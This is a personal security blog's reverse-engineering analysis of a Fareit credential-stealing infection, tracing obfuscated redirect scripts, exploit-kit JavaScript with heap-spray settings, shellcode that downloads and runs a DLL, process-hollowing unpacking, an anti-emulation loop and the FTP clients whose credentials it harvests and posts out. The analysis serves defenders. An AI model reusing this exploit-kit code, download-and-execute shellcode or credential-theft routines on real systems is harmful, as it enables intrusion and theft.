the cyber dung
my notepad on infosec, malware research, reverse engineering, coding, and more dung.

Tuesday, February 19, 2013

Fareit still steals your credentials

It started with a given link.
From which, goes to a couple of re-directions. Here's how it goes...

To further detail, from h00p:// it opens with this text...

But in the background opens three java script sources.

<script type="text/javascript" src="h00p://"></script>
<script type="text/javascript" src="h00p://"></script>
<script type="text/javascript" src="h00p://"></script>

h00p:// and h00p:// opens h00p:// while h00p:// opens h00p:// by simply setting the document.location object.


All the scripts point to the result of this PHP page. The content returned in this page contains a self decrypting code.

<html><head><title></title></head><body><div></div><script>if(document.getElementsByTagName("div")[0].style.left===""){gg="getA";}qq="q";gg+="ttri";function cxz(){r=a[gg+"bu"+"te"](i);};qaz="getElem"+"entsB"+"yTagName";zaq="pa";</script><div id="q" 12=";1ikie;095nh;94895;375...A.VERY.LONG.ENCRYPTED.DATA....46eiq"></div><script>
 if(r){s=s+r;}else break;

The decrypted java script results to...

var PluginDetect=

.... LONG PluginDetect CODE ....


 var $$ = PluginDetect;
 function x(s)
   return d.join(":");
 function j1()
   return false;
 function j2()
   return false;
 function p1()
   return false;
 function p2()
   return false;
 function f1()
   var oSpan=document.createElement("span");
   var url = "/read/engineering_best.php?gynwb=32:1k:32:1i:1g&aatwawb=3h:3l:38:38:33:37&fteu=2v:1h:1f:33:1m:1f:2v:1k:31:2w&info=02e67fbb1b70fa4a727caa615381613e3d73d9d5370a3436400595f7d0a2e22159e953d3984a6928056c5d9e1c022d7d28c7e56da4d8620bb24d8d8c7904786fe5";
   oSpan.innerHTML="<object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' id='asd' width='600' height='400' codebase='h00p://'><param name='movie' value='"+url+"' /><embed src='"+url+"' name='asd' align='middle' allowNetworking='all' type='application/x-shockwave-flash' pluginspage='h00p://'></embed></object>";
 function getCN()
   return "/read/engineering_best.php?airiuzz=32:1k:32:1i:1g&abi=3f:3k:34:3h:35&aedzxmmw=2v:1h:1f:33:1m:1f:2v:1k:31:2w&deb=vlwp"
 function getBlockSize()
   return 1024
 function getAllocSize()
   return 1024*1024
 function getAllocCount()
   return 300
 function getFillBytes()
   var a='%u'+'0c0c';
   return a+a
 function getShellCode()
   var a="8282!...LONG.SHELLCODE.DATA...%1414!%".split("").reverse().join("");
   return a["replace"](/\%!/g,"%"+"u")
 function ff2()
   var oSpan=document.createElement("span");
   var url="/read/engineering_best.php?xtekiq=32:1k:32:1i:1g&uqphr=31:3b:3d:36&gpjxgrfu=2v:1h:1f:33:1m:1f:2v:1k:31:2w&gbgbyq=lfha";
   oSpan.innerHTML="<object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' width=10 height=10 id='swf_id'><param name='movie' value='"+url+"' /><param name='allowScriptAccess' value='always' /><param name='Play' value='0' /><embed src='"+url+"' id='swf_id' name='swf_id' allowScriptAccess='always' type='application/x-shockwave-flash' width='10' height='10'></embed></object>";
 var pdfver=[];
 function svwrbew6436b($)
   var ar = [];
   var javax = ($.getVersion("Ja"+"va")+".").toString()["split"](".");
   if ($.isMinVersion("Ja"+"va")>=0&&((javax[0]==1&&javax[1]==7&&javax[3]<9)))
     ar["push"](j2); //false
   else if($.isMinVersion("Ja"+"va")>=0&&((javax[0]==1&&javax[1]==6&&javax[3]<33)||(javax[0]==1&&javax[1]<6)))
     ar["push"](j1); //false
   if(window.document)if(typeof pdfver=="string")
     if(window.document)ar["push"](p1); //false
     ar["push"](p2); //false
   var ver = ($$.getVersion("Flash")+".").toString()["split"](".");
   if (
   (ver[0]==10&&ver[1]==0&&ver[2]>40) // >10.0.40
    (ver[0]==10&&ver[1]>0)   // >10.0
    (ver[0]==10&&ver[1]<2)   // <10.2
   && (
    (ver[0]==10&&ver[1]==2&&ver[2]<159) // <10.2.159
    (ver[0]==10&&ver[1]<2)    // <10.2
  (ver[0]==10&&ver[1]==3&&ver[2]==181&&ver[3]<=23) // <
  (ver[0]==10&&ver[1]==3&&ver[2]<181)              // <10.3.181
   var arcalli=0;
   var arcall = function()
     if(ar.length<=arcalli)return 123;
     var res=ar[arcalli]();
 $$["onDetec"+"tionDone"]("Ja"+"va", svwrbew6436b, "../treating/getJavaInfo.jar");

The code above has been edited as it was being debugged.

It uses the PluginDetect, a script module from h00p://, a tool that can determine the currently installed versions of the operating system and selected applications such as IE, Chrome, Adobe flash, and PDF reader. With this tool at hand, the malicious script below the PluginDetect script would then be able to select the exact exploit to execute.

However, in this specific malware script, the application involved is only Adobe Flash. If the version is within 10.0 to 10.2.159, it opens /read/engineering_best.php?xtekiq=32:1k:32:1i:1g&uqphr=31:3b:3d:36&gpjxgrfu=2v:1h:1f:33:1m:1f:2v:1k:31:2w&gbgbyq=lfha. Then if the version is below, it opens /read/engineering_best.php?gynwb=32:1k:32:1i:1g&aatwawb=3h:3l:38:38:33:37&fteu=2v:1h:1f:33:1m:1f:2v:1k:31:2w&info=02e67fbb1b70fa4a727caa615381613e3d73d9d5370a3436400595f7d0a2e22159e953d3984a6928056c5d9e1c022d7d28c7e56da4d8620bb24d8d8c7904786fe5. Either of these are opened where it started which is under  h00p:// or h00p:// domain. What is expected here is that it will download SWF files, most likely exploited SWFs that would trigger the shell code shown by the getShellCode() function. At the time of this writing the SWFs cannot be downloaded anymore.

In any event, the script still is opens h00p:// using the default browser regardless of what PluginDetect retrieves from the system environment. This website contains a fake Adobe update site.

The site is a complete replica of the real Adobe site that lures users to download adobe_flash_player.exe, a fake update, actually a malware.


The shellcode when converted to its binary form is 538 bytes. This code begins by decrypting, not decompressing, the rest of its code. A simple look at the decrypted dump shows the following URL:

The code proceeds by locating the first link entry in the EPROCESS blocks, usually NTDLL.DLL. Proceeds by searching for the DWORD 0x0c330408b from the process' base address.

seg000:00000026 33 C0                                         xor     eax, eax
seg000:00000028 64 8B 40 30                                   mov     eax, fs:[eax+30h]
seg000:0000002C 8B 40 0C                                      mov     eax, [eax+0Ch]
seg000:0000002F 8B 70 1C                                      mov     esi, [eax+1Ch]
seg000:00000032 56                                            push    esi
seg000:00000033 8B 76 08                                      mov     esi, [esi+8]
seg000:00000036 33 DB                                         xor     ebx, ebx
seg000:00000038 66 8B 5E 3C                                   mov     bx, [esi+3Ch]
seg000:0000003C 03 74 33 2C                                   add     esi, [ebx+esi+2Ch]
seg000:00000040 81 EE 15 10 FF FF                             sub     esi, 0FFFF1015h
seg000:00000046 B8 8B 40 30 C3                                mov     eax, 0C330408Bh
seg000:0000004B                               loc_4B:
seg000:0000004B 46                                            inc     esi
seg000:0000004C 39 06                                         cmp     [esi], eax
seg000:0000004E 75 FB                                         jnz     short loc_4B
The DWORD value 0x0c330408b is actually equivalent to...

mov     eax, [eax+30h]
It uses this as a function to return the value pointed by eax; and was used in retrieving API addresses from the export table of a loaded library. The APIs retrieved are:

seg000:00000189 8E 4E 0E EC                                   dd 0EC0E4E8Eh           ; LoadLibraryA
seg000:0000018D 98 FE 8A 0E                                   dd 0E8AFE98h            ; WinExec
seg000:00000191 89 6F 01 BD                                   dd 0BD016F89h           ; TerminateThread
seg000:00000195 33 CA 8A 5B                                   dd 5B8ACA33h            ; GetTempPathA
seg000:00000199 1B C6 46 79                                   dd 7946C61Bh            ; VirtualProtect
seg000:0000019D 36 1A 2F 70                                   dd 702F1A36h            ; URLDownloadToFileA
And the final step it does is to download and execute a DLL file.

seg000:0000014C 6A 00                                         push    0
seg000:0000014E 6A 00                                         push    0
seg000:00000150 53                                            push    ebx             ; C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\wpbt0.dll
seg000:00000151 57                                            push    edi             ; "h00p://"
seg000:00000152 6A 00                                         push    0
seg000:00000154 FF 56 14                                      call    dword ptr [esi+14h] ; URLDownloadToFileA
seg000:00000157 85 C0                                         test    eax, eax
seg000:00000159 75 16                                         jnz     short notdownloaded
seg000:0000015B 6A 00                                         push    0
seg000:0000015D 53                                            push    ebx             ; C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\wpbt0.dll
seg000:0000015E FF 56 04                                      call    dword ptr [esi+4] ; WinExec
seg000:00000161 6A 00                                         push    0
seg000:00000163 83 EB 0C                                      sub     ebx, 0Ch
seg000:00000166 53                                            push    ebx             ; regsvr32 -s C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\wpbt0.dll
seg000:00000167 FF 56 04                                      call    dword ptr [esi+4] ; WinExec

As of this writing, URL that retrieves wpbt0.dll doesn't exist anymore.


First thing it does is verify that the IOleContainer COM interface exits. This malware requires this interface for it to be able to use global streams later. The malware does this by checking out the existence of this registry key:


Further, this key is also checks for its marker:


Although not used by this malware in my analysis, this key serves as a placeholder where it could possibly store some information later.

This malware allocates a memory space of 0x019000, then decrypts a large data over this space. Afterwards, directly passes control to decrypted code. Here's how it passes control:

.text:0040180D                 mov     ecx, ALLOCATED_MEM_BASE
.text:00401813                 add     ecx, 17AD0h
.text:00401819                 mov     NEW_EIP, ecx
.text:0040181F                 mov     eax, eax
.text:00401821                 mov     eax, eax
.text:00401823                 mov     eax, eax
.text:00401825                 popa
.text:00401826                 mov     eax, eax
.text:00401828                 mov     eax, eax
.text:0040182A                 mov     eax, eax
.text:0040182C                 mov     eax, eax
.text:0040182E                 push    368282h
.text:00401833                 mov     eax, [ebp+offset_CALL_EAX_FUNC]
.text:00401836                 mov     eax, eax
.text:00401838                 mov     eax, eax
.text:0040183A                 mov     ecx, esp        ; Replace TOS
.text:0040183C                 push    edx
.text:0040183D                 mov     edx, ecx
.text:0040183F                 sub     edx, 26h
.text:00401842                 mov     ecx, edx
.text:00401844                 pop     edx
.text:00401845                 add     ecx, 22h
.text:00401848                 mov     eax, eax
.text:0040184A                 mov     eax, eax
.text:0040184C                 mov     eax, eax
.text:0040184E                 mov     dword ptr [ecx+4], 0 ; Clear TOS
.text:00401855                 mov     eax, eax
.text:00401857                 mov     eax, eax
.text:00401859                 mov     eax, eax
.text:0040185B                 add     [ecx+4], eax    ; Set TOS with value of EAX
.text:0040185E                 mov     eax, eax
.text:00401860                 retn

Then now points to the following code:
.text:00401490 CALL_EAX_FUNC   proc near
.text:00401490                 push    ebp
.text:00401491                 mov     ebp, esp
.text:00401493                 mov     eax, eax
.text:00401495                 mov     eax, eax
.text:00401497                 mov     eax, eax
.text:00401499                 mov     esp, EXECUTE_ADDRESS_1_ESP
.text:0040149F                 mov     eax, eax
.text:004014A1                 mov     eax, eax
.text:004014A3                 mov     eax, eax
.text:004014A5                 add     esp, 4
.text:004014A8                 mov     eax, eax
.text:004014AA                 mov     eax, eax
.text:004014AC                 mov     eax, eax
.text:004014AE                 mov     eax, NEW_EIP
.text:004014B3                 mov     eax, eax
.text:004014B5                 mov     eax, eax
.text:004014B7                 push    eax
.text:004014B8                 retn
.text:004014B8 CALL_EAX_FUNC   endp

Beam us up to memory space, Scottie!

Now in the virtual allocated space, execution continues by allocating another space with HeapAlloc. It decrypts another data into this new space which turns out that the decrypted data is a PE file. Using the import table information from this new PE's header, it loads all the required libraries and the APIs it will use.

It also calls UnmapViewOfFile with the current running process as its parameter.

seg000:002978C5 68 14 03 28 00                       push    offset aUnmapviewoffil ; "UnmapViewOfFile"
seg000:002978CA A1 48 7D 29 00                       mov     eax, ds:hKernelProcess
seg000:002978CF 50                                   push    eax
seg000:002978D0 E8 4B FB FF FF                       call    _GetProcAddress
seg000:002978D5 83 C4 08                             add     esp, 8
seg000:002978D8 89 45 DC                             mov     [ebp+var_24], eax
seg000:002978DB 83 3D 44 7D 29 00 00                 cmp     ds:bSUCCESS, 0
seg000:002978E2 75 0A                                jnz     short loc_2978EE
seg000:002978E4 8B 0D 3C 7D 29 00                    mov     ecx, ds:hThisProcess ; our calling process PE at base 0x400000
seg000:002978EA 51                                   push    ecx
seg000:002978EB FF 55 DC                             call    [ebp+var_24]    ; UnmapViewOfFile

This is somehow an Anti-dumping technique. Every file that is executed has a mapped view in the process space. It can also be unmapped which also happens when a process is in the process of termination. Here's a reading from Microsoft (

Unmapping a mapped view of a file invalidates the range occupied by the view in the address space of the process and makes the range available for other allocations. It removes the working set entry for each unmapped virtual page that was part of the working set of the process and reduces the working set size of the process. It also decrements the share count of the corresponding physical page.
Since the original malware process has already transferred code control to the allocated memory space, it can successfully achieve un-mapping. Un-mapping also means clearing and freeing up the process space and thus, nothing can be dumped from that area. But in this case, the malware simply removed the process space but references to this process space still exists from the Process Environment Block (PEB).

What happens next is a call to VirtualAlloc requesting a base address stated in the header of the newly decrypted PE file. Since the base address here is 0x0400000 which is the same as that from the un-mapped process, the memory allocation results to success.

seg000:002978F7 6A 40                                push    40h
seg000:002978F9 68 00 30 00 00                       push    3000h
seg000:002978FE 8B 55 FC                             mov     edx, [ebp+var_4]
seg000:00297901 52                                   push    edx
seg000:00297902 8B 45 E0                             mov     eax, [ebp+var_20]
seg000:00297905 8B 48 34                             mov     ecx, [eax+34h]
seg000:00297908 51                                   push    ecx
seg000:00297909 FF 55 F0                             call    [ebp+VirtualAllocAddress] ; Results creating base 400000

It follows copying the decrypted PE to the new allocated process space, but at the same time mapping the PE file based on the information stated in PE's section headers :

seg000:0029784B 8B 45 F4                             mov     eax, [ebp+var_C]
seg000:0029784E 83 C0 01                             add     eax, 1
seg000:00297851 89 45 F4                             mov     [ebp+var_C], eax
seg000:00297854                      loc_297854:
seg000:00297854 8B 4D E0                             mov     ecx, [ebp+var_20]
seg000:00297857 0F B7 51 06                          movzx   edx, word ptr [ecx+6]
seg000:0029785B 39 55 F4                             cmp     [ebp+var_C], edx
seg000:0029785E 73 59                                jnb     short loc_2978B9
seg000:00297860 8B 45 E8                             mov     eax, [ebp+var_18]
seg000:00297863 83 78 14 00                          cmp     dword ptr [eax+14h], 0
seg000:00297867 74 45                                jz      short loc_2978AE
seg000:00297869 8B 4D E8                             mov     ecx, [ebp+var_18]
seg000:0029786C 83 79 10 00                          cmp     dword ptr [ecx+10h], 0
seg000:00297870 74 3C                                jz      short loc_2978AE
seg000:00297872 8B 55 E8                             mov     edx, [ebp+var_18]
seg000:00297875 8B 42 10                             mov     eax, [edx+10h]
seg000:00297878 8B 4D E0                             mov     ecx, [ebp+var_20]
seg000:0029787B 8B 51 3C                             mov     edx, [ecx+3Ch]
seg000:0029787E 8D 44 10 FF                          lea     eax, [eax+edx-1]
seg000:00297882 8B 4D E0                             mov     ecx, [ebp+var_20]
seg000:00297885 33 D2                                xor     edx, edx
seg000:00297887 F7 71 3C                             div     dword ptr [ecx+3Ch]
seg000:0029788A 8B 55 E0                             mov     edx, [ebp+var_20]
seg000:0029788D 0F AF 42 3C                          imul    eax, [edx+3Ch]
seg000:00297891 50                                   push    eax
seg000:00297892 8B 45 E8                             mov     eax, [ebp+var_18]
seg000:00297895 8B 4D 08                             mov     ecx, [ebp+arg_0]
seg000:00297898 03 48 14                             add     ecx, [eax+14h]
seg000:0029789B 51                                   push    ecx
seg000:0029789C 8B 55 E8                             mov     edx, [ebp+var_18]
seg000:0029789F 8B 45 E4                             mov     eax, [ebp+var_1C]
seg000:002978A2 03 42 0C                             add     eax, [edx+0Ch]
seg000:002978A5 50                                   push    eax
seg000:002978A6 E8 15 FE FF FF                       call    _memcpy
seg000:002978AB 83 C4 0C                             add     esp, 0Ch
seg000:002978AE                      loc_2978AE:
seg000:002978AE 8B 4D E8                             mov     ecx, [ebp+var_18]
seg000:002978B1 83 C1 28                             add     ecx, 28h
seg000:002978B4 89 4D E8                             mov     [ebp+var_18], ecx
seg000:002978B7 EB 92                                jmp     short loc_29784B

Once the copy is done, it patches the PEB with the new PE entry point and image base:

seg000:00297726 A1 5C 7D 29 00                       mov     eax, ds:_TIB
seg000:0029772B 8B D2                                mov     edx, edx
seg000:0029772D 33 C9                                xor     ecx, ecx
seg000:0029772F                                      db      3Eh
seg000:0029772F 3E 8B 40 30                          mov     eax, [eax+30h]
seg000:00297733 8B D2                                mov     edx, edx
seg000:00297735 8B D2                                mov     edx, edx
seg000:00297737                                      db      3Eh
seg000:00297737 3E 8B 48 0C                          mov     ecx, [eax+0Ch]
seg000:0029773B 8B D2                                mov     edx, edx
seg000:0029773D 89 4D F4                             mov     [ebp+var_C], ecx
seg000:00297740 8B 45 F4                             mov     eax, [ebp+var_C]
seg000:00297743 8B 48 0C                             mov     ecx, [eax+0Ch]  ; +0x00c InLoadOrderModuleList
seg000:00297746 89 4D F8                             mov     [ebp+var_8], ecx
seg000:00297749 8B 55 F8                             mov     edx, [ebp+var_8]
seg000:0029774C 89 55 FC                             mov     [ebp+var_4], edx
seg000:0029774F                      loc_29774F:
seg000:0029774F B8 01 00 00 00                       mov     eax, 1
seg000:00297754 85 C0                                test    eax, eax
seg000:00297756 74 44                                jz      short loc_29779C
seg000:00297758 83 7D F8 00                          cmp     [ebp+var_8], 0
seg000:0029775C 75 04                                jnz     short loc_297762
seg000:0029775E 33 C0                                xor     eax, eax
seg000:00297760 EB 3C                                jmp     short loc_29779E
seg000:00297762                      loc_297762:
seg000:00297762 8B 4D F8                             mov     ecx, [ebp+var_8]
seg000:00297765 8B 51 18                             mov     edx, [ecx+18h]  ; Base Address
seg000:00297768 3B 55 08                             cmp     edx, [ebp+arg_0]
seg000:0029776B 75 19                                jnz     short loc_297786
seg000:0029776D 8B 45 F8                             mov     eax, [ebp+var_8]
seg000:00297770 8B 4D 0C                             mov     ecx, [ebp+arg_4]
seg000:00297773 89 48 1C                             mov     [eax+1Ch], ecx  ; Entry Point
seg000:00297776 8B 55 F8                             mov     edx, [ebp+var_8]
seg000:00297779 8B 45 10                             mov     eax, [ebp+arg_8]
seg000:0029777C 89 42 18                             mov     [edx+18h], eax  ; Base Address
The decrypted PE's entry point code also needs to be patched to work properly:

seg000:00297700                      sub_297700      proc near
seg000:00297700 55                                   push    ebp
seg000:00297701 8B EC                                mov     ebp, esp
seg000:00297703 A1 68 7D 29 00                       mov     eax, ds:DecryptedPEEntryPoint
seg000:00297708 C6 00 68                             mov     byte ptr [eax], 68h
seg000:0029770B 8B 15 60 7D 29 00                    mov     edx, ds:EntryPoint
seg000:00297711 89 50 01                             mov     [eax+1], edx
seg000:00297714 B2 C3                                mov     dl, 0C3h
seg000:00297716 88 50 05                             mov     [eax+5], dl
seg000:00297719 5D                                   pop     ebp
seg000:0029771A C3                                   retn
seg000:0029771A                      sub_297700      endp
At this point, the PEB has only been updated with the entry point and the image base, however, the original file name and path were not touched at all. A blackbox dumping of the memory process would seem a different file from that of the originally executed file.

And another code control transfer:

seg000:00297CF1 E8 8A FD FF FF                       call    Garbage
seg000:00297CF6 8B 15 60 7D 29 00                    mov     edx, ds:EntryPoint
seg000:00297CFC 52                                   push    edx             ; Run New program
seg000:00297CFD C3                                   retn
Now, the real malware behavior begins.

A whole new process

The main code routines of the malware...

1. Initiate some stuff and set privileges
2. An anti-emulation
3. Steal credentials and send em'
4. Download and execute more files
5. Steal more... Windows credentials
6. Send em'
7. Delete self

The malware retrieves its required APIs from these libraries...

.text:00402530                 push    offset StgOpenStorage ; int
.text:00402535                 push    offset aOle32_dll_0 ; "ole32.dll"
.text:0040253A                 call    sub_4024D6
.text:0040253F                 push    offset CryptUnprotectData ; int
.text:00402544                 push    offset aCrypt32_dll ; "crypt32.dll"
.text:00402549                 call    sub_4024D6
.text:0040254E                 push    offset AllocateAndInitializeSid ; int
.text:00402553                 push    offset aAdvapi32_dll_0 ; "advapi32.dll"
.text:00402558                 call    sub_4024D6
.text:0040255D                 push    offset SHGetFolderPathA ; int
.text:00402562                 push    offset aShell32_dll_1 ; "shell32.dll"
.text:00402567                 call    sub_4024D6
.text:0040256C                 push    offset NetApiBufferFree ; int
.text:00402571                 push    offset aNetapi32_dll ; "netapi32.dll"
.text:00402576                 call    sub_4024D6
.text:0040257B                 push    offset WTSGetActiveConsoleSessionId ; int
.text:00402580                 push    offset aKernel32_dll_1 ; "kernel32.dll"
.text:00402585                 call    sub_4024D6
.text:0040258A                 push    offset MsiGetComponentPathA ; int
.text:0040258F                 push    offset aMsi_dll ; "msi.dll"
.text:00402594                 call    sub_4024D6
.text:00402599                 push    offset PStoreCreateInstance ; int
.text:0040259E                 push    offset aPstorec_dll ; "pstorec.dll"
.text:004025A3                 call    sub_4024D6
.text:004025A8                 push    offset CreateEnvironmentBlock ; int
.text:004025AD                 push    offset aUserenv_dll_0 ; "userenv.dll"
.text:004025B2                 call    sub_4024D6
.text:004025B7                 retn
Notice that it loads ole32.dll as expected from verifying IOleContainer in the registry where it uses this to push messages and data to a global stream.

Next is an anti-emulation technique. Emulators usually simulate the sequence of instructions but has limits. This particular looping technique is commonly employed by different malwares. What it does is try to break the instruction count limits of emulators.

.text:0040FAD2                 mov     ecx, ecx
.text:0040FAD4                 push    123EA83h        ; loop counter
.text:0040FAD9                 mov     ecx, ecx
.text:0040FADB                 pop     [ebp+var_4]
.text:0040FADE                 mov     edx, eax
.text:0040FAE0                 jmp     short loc_40FB06
.text:0040FAE2 loc_40FAE2:
.text:0040FAE2                 mov     edx, eax
.text:0040FAE4                 mov     ecx, ecx
.text:0040FAE6                 add     eax, esi
.text:0040FAE8                 mov     edx, eax
.text:0040FAEA                 mov     ecx, ecx
.text:0040FAEC                 push    eax
.text:0040FAED                 mov     ecx, ecx
.text:0040FAEF                 mov     edx, eax
.text:0040FAF1                 call    GetTickCount
.text:0040FAF6                 mov     ecx, ecx
.text:0040FAF8                 pop     eax
.text:0040FAF9                 mov     edx, eax
.text:0040FAFB                 mov     ecx, ecx
.text:0040FAFD                 add     eax, edx
.text:0040FAFF                 mov     ecx, ecx
.text:0040FB01                 mov     edx, eax
.text:0040FB03                 dec     [ebp+var_4]
.text:0040FB06 loc_40FB06:
.text:0040FB06                 cmp     [ebp+var_4], 0
.text:0040FB0A                 jnz     short loc_40FAE2

A good emulator should be intelligent enough to skip or mimic this kind of code.

It then attempts to adjust the privilege level of the malware so it can act as if it has administrative privileges.

.text:004029AC                 push    eax             ; lpLuid
.text:004029AD                 push    [ebp+lpName]    ; lpName - "SeImpersonatePrivilege"
.text:004029B0                 push    0               ; lpSystemName
.text:004029B2                 call    LookupPrivilegeValueA
.text:004029B8                 or      eax, eax
.text:004029BA                 jz      short loc_402A17
.text:004029BC                 call    GetCurrentProcess
.text:004029C1                 mov     edx, eax
.text:004029C3                 lea     eax, [ebp+hObject]
.text:004029C6                 push    eax             ; TokenHandle
.text:004029C7                 push    TOKEN_ADJUST_PRIVILEGES ; DesiredAccess
.text:004029C9                 push    edx             ; ProcessHandle
.text:004029CA                 call    OpenProcessToken
.text:004029D0                 or      eax, eax
.text:004029D2                 jz      short loc_4029FD
.text:004029D4                 mov     [ebp+NewState.PrivilegeCount], 1
.text:004029DB                 push    [ebp+Luid.LowPart]
.text:004029DE                 pop     [ebp+NewState.Privileges.Luid.LowPart]
.text:004029E1                 push    [ebp+Luid.HighPart]
.text:004029E4                 pop     [ebp+NewState.Privileges.Luid.HighPart]
.text:004029E7                 cmp     [ebp+arg_4], 0
.text:004029EB                 jz      short loc_4029F6
.text:004029ED                 mov     [ebp+NewState.Privileges.Attributes], SE_PRIVILEGE_ENABLED
.text:004029F4                 jmp     short loc_4029FD
.text:004029F6 loc_4029F6:
.text:004029F6                 mov     [ebp+NewState.Privileges.Attributes], 0
.text:004029FD loc_4029FD:
.text:004029FD                 push    0               ; ReturnLength
.text:004029FF                 push    0               ; PreviousState
.text:00402A01                 push    10h             ; BufferLength
.text:00402A03                 lea     eax, [ebp+NewState]
.text:00402A06                 push    eax             ; NewState
.text:00402A07                 push    0               ; DisableAllPrivileges
.text:00402A09                 push    [ebp+hObject]   ; TokenHandle
.text:00402A0C                 call    AdjustTokenPrivileges
.text:00402A12                 or      eax, eax
.text:00402A14                 jz      short loc_402A17
.text:00402A16                 inc     ebx
.text:00402A17 loc_402A17:
.text:00402A17                 cmp     [ebp+hObject], 0
.text:00402A1B                 jz      short loc_402A25
.text:00402A1D                 push    [ebp+hObject]   ; hObject
.text:00402A20                 call    CloseHandle

The privilege level is set to "SeImpersonatePrivilege" to permit this running malware from taking same privileges as that of the current user.

Stores information in a global stream, stores it afterwards in either a file or in the registry, and then sends it later to specific sites.

Information written to the stream are either stored in the registry or in a file.
HKEY_CURRENT_USER\Software\WinRar\Client Hash

%temp%\Client Hash

.text:0040FC3B                 lea     eax, [ebp+var_8]
.text:0040FC3E                 push    eax             ; int
.text:0040FC3F                 push    offset aClientHash ; "Client Hash"
.text:0040FC44                 call    READFILE_TEMP_CLIENT_HASH_TO_STREAM
.text:0040FC49                 or      eax, eax
.text:0040280F                 push    ebx
.text:00402810                 push    [ebp+arg_4]     ; int
.text:00402813                 push    [ebp+lpValueName] ; lpValueName
.text:00402816                 push    offset aSoftwareWinrar ; "Software\\WinRAR"
.text:0040281B                 push    hKey            ; hKey
.text:00402821                 call    GET_REGISTRY_DATA_1
.text:00402826                 or      eax, eax
.text:00402828                 jnz     loc_402908
Which are later read back and then posted these sites:
.data:00414762 ah00p11_laptopv db 'h00p://',0
.data:0041478A ah00p11_sephora db 'h00p://',0
.data:004147BA ah00p11_thyroid db 'h00p://',0
.data:004147EE ah00p173_246_10 db 'h00p://',0
It Steals!
Malware retrieves information about installed software by searching it at the Uninstall information via the Windows Registry.
.text:00402118                 lea     eax, [ebp+hKey]
.text:0040211B                 push    eax             ; phkResult
.text:0040211C                 push    offset SubKey   ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
.text:00402121                 push    HKEY_LOCAL_MACHINE ; hKey
.text:00402126                 call    RegOpenKeyA
.text:0040212B                 or      eax, eax
.text:0040212D                 jnz     loc_40228E
.text:00402133                 mov     [ebp+dwIndex], 0
.text:0040213D loc_40213D:
.text:0040213D                 mov     [ebp+cchName], 0FFFh
.text:00402147                 push    0               ; lpftLastWriteTime
.text:00402149                 push    0               ; lpcchClass
.text:0040214B                 push    0               ; lpClass
.text:0040214D                 push    0               ; lpReserved
.text:0040214F                 lea     eax, [ebp+cchName]
.text:00402155                 push    eax             ; lpcchName
.text:00402156                 lea     eax, [ebp+String]
.text:0040215C                 push    eax             ; lpName
.text:0040215D                 push    [ebp+dwIndex]   ; dwIndex
.text:00402163                 push    [ebp+hKey]      ; hKey
.text:00402166                 call    RegEnumKeyExA
.text:0040216B                 or      eax, eax
.text:0040216D                 jnz     loc_402286
.text:00402173                 push    offset asc_414905 ; "\\"
.text:00402178                 push    offset SubKey   ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
.text:0040217D                 call    ConcatenateThese
.text:00402182                 or      eax, eax
.text:00402184                 jz      loc_40227B
.text:0040218A                 mov     edx, eax
.text:0040218C                 lea     eax, [ebp+String]
.text:00402192                 push    eax             ; int
.text:00402193                 push    edx             ; hMem
.text:00402194                 call    ConcatenateThese2
.text:00402199                 or      eax, eax
.text:0040219B                 jz      loc_40227B
.text:004021A1                 mov     [ebp+lpSubKey], eax
.text:004021A7                 lea     eax, [ebp+var_1018]
.text:004021AD                 push    eax             ; int
.text:004021AE                 push    offset ValueName ; "UninstallString"
.text:004021B3                 push    [ebp+lpSubKey]  ; lpSubKey
.text:004021B9                 push    HKEY_LOCAL_MACHINE ; hKey
.text:004021BE                 call    GET_REGISTRY_DATA_1
.text:004021C3                 or      eax, eax
.text:004021C5                 jz      loc_402270
.text:004021CB                 cmp     eax, 1
.text:004021CE                 jbe     loc_402270
.text:004021D4                 push    eax             ; hMem
.text:004021D5                 push    [ebp+var_1018]
.text:004021DB                 push    eax
.text:004021DC                 push    [ebp+pstm]
.text:004021E2                 call    WRITE_TO_STREAM
.text:004021E7                 lea     eax, [ebp+var_1018]
.text:004021ED                 push    eax             ; int
.text:004021EE                 push    offset aDisplayname ; "DisplayName"
.text:004021F3                 push    [ebp+lpSubKey]  ; lpSubKey
.text:004021F9                 push    HKEY_LOCAL_MACHINE ; hKey
.text:004021FE                 call    GET_REGISTRY_DATA_1
.text:00402203                 or      eax, eax
.text:00402205                 jz      short loc_40224B
.text:00402207                 cmp     [ebp+var_1018], 1
.text:0040220E                 jbe     short loc_40224B
.text:00402210                 push    eax             ; hMem
.text:00402211                 push    eax
.text:00402212                 lea     eax, [ebp+String]
.text:00402218                 push    eax             ; lpString
.text:00402219                 call    lstrlenA
.text:0040221E                 push    eax
.text:0040221F                 lea     eax, [ebp+String]
.text:00402225                 push    eax
.text:00402226                 push    [ebp+var_1014]
.text:0040222C                 call    WRITE_TO_STREAM
It steals more accounts from different known software. It runs an array of functions that does specific retrieval of software credentials from the registry or from the file system.
.data:00417332                 dd offset sub_404620    ; Get System Version and Locale
.data:00417336                 dd offset sub_404AB8    ; get FAR Manager accounts
.data:0041733A                 dd offset sub_404C74    ; get GHisler credentials
.data:0041733E                 dd offset sub_40506E    ; IPSwitch WS_FTP credentials
.data:00417342                 dd offset sub_4053E6    ; CuteFTP credentials
.data:00417346                 dd offset sub_405610    ; FlashFXP
.data:0041734A                 dd offset sub_405AEE    ; FileZilla
.data:0041734E                 dd offset sub_405BE3    ; FTP Commander and FTP Navigator
.data:00417352                 dd offset sub_405CED    ; Bullet Proof FTP
.data:00417356                 dd offset sub_405E6C    ; Smart FTP
.data:0041735A                 dd offset sub_405F27    ; Turbo FTP
.data:0041735E                 dd offset sub_40616E    ; FFFTP
.data:00417362                 dd offset sub_4063EF    ; Coffee Cup Software
.data:00417366                 dd offset sub_406681    ; FTPWare
.data:0041736A                 dd offset sub_406938    ; FTP Explorer
.data:0041736E                 dd offset sub_4069C3    ; Frigate3 File Manager
.data:00417372                 dd offset sub_4069FE    ; Vandyke SecureFX SFTP
.data:00417376                 dd offset sub_406A7F    ; UltraFXP
.data:0041737A                 dd offset sub_406B03    ; FTPRush
.data:0041737E                 dd offset sub_406D06    ; Cryer Website Publisher
.data:00417382                 dd offset sub_406D37    ; BitKinex FTP SFTP
.data:00417386                 dd offset sub_4070A9    ; ExpanDrive
